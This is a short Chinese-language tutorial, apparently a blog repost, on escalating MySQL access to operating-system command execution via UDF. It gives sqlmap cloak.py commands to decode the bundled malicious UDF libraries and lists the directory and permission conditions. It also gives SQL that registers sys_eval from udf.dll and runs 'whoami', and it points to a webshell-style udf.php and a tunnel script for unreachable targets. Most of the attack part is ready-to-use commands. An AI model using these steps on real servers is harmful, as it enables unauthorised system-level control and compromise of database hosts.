1. 程式人生 > 其它 >Mysql提權(二)---UDF提權

Mysql提權(二)---UDF提權

零、參考連結

https://www.sqlsec.com/2020/11/mysql.html#toc-heading-10

一、原理

UDF是mysql的一個拓展介面,UDF(Userdefined function)可翻譯為使用者自定義函式,這個是用來拓展Mysql的技術手段。
使用者通過自定義函式可以實現在Mysql中無法方便實現的功能,其新增的新函式都可以在SQL語句中呼叫
利用MYSQL的自定義函式功能將Mysql賬號轉換為system許可權

二、UDF動態連結庫的位置

sqlmap根目錄/data/udf/mysql

不過 sqlmap 中 自帶這些動態連結庫為了防止被誤殺都經過編碼處理過,不能被直接使用。不過可以利用 sqlmap 自帶的解碼工具cloak.py 來解碼使用,cloak.py 的位置為:/extra/cloak/cloak.py ,解碼方法如下

# 解碼 32 位的 Linux 動態連結庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解碼 64 位的 Linux 動態連結庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解碼 32 位的 Windows 動態連結庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解碼 64 位的 Windows 動態連結庫
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

具體dll的下載連結,可在參考連結中找到

三、UDF提權的條件

1、如果Mysql版本大於5.1,udf.dll放到Mysql安裝目錄的lib\plugin資料夾下
2、如果Mysql版本小於5.1,在Windows 2003下放於c:\windows\system32目錄,在Win2000下,放入C:\winnt\system32目錄
3、有Mysql的insert和delete許可權,以建立和拋棄函式。一般以root賬號為最佳。select * from mysql.user where user='test'
4、擁有可以將udf.dll寫入相應目錄的許可權

四、寫入相應的dll過後,執行如下語句

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
匯入成功後檢視一下 mysql 函式裡面是否新增了 sys_eval:
select * from mysql.func;
select sys_eval('whoami')
刪除自定義函式
drop function sys_eval;

五、如果不能直接連線目標Mysql

1、可以使用:udf.php
https://github.com/echohun/tools/blob/master/大馬/udf.php
2、也可以使用Navicat MySQL的隧道功能
傳入ntunnel_mysql.php檔案,然後使用工具連線即可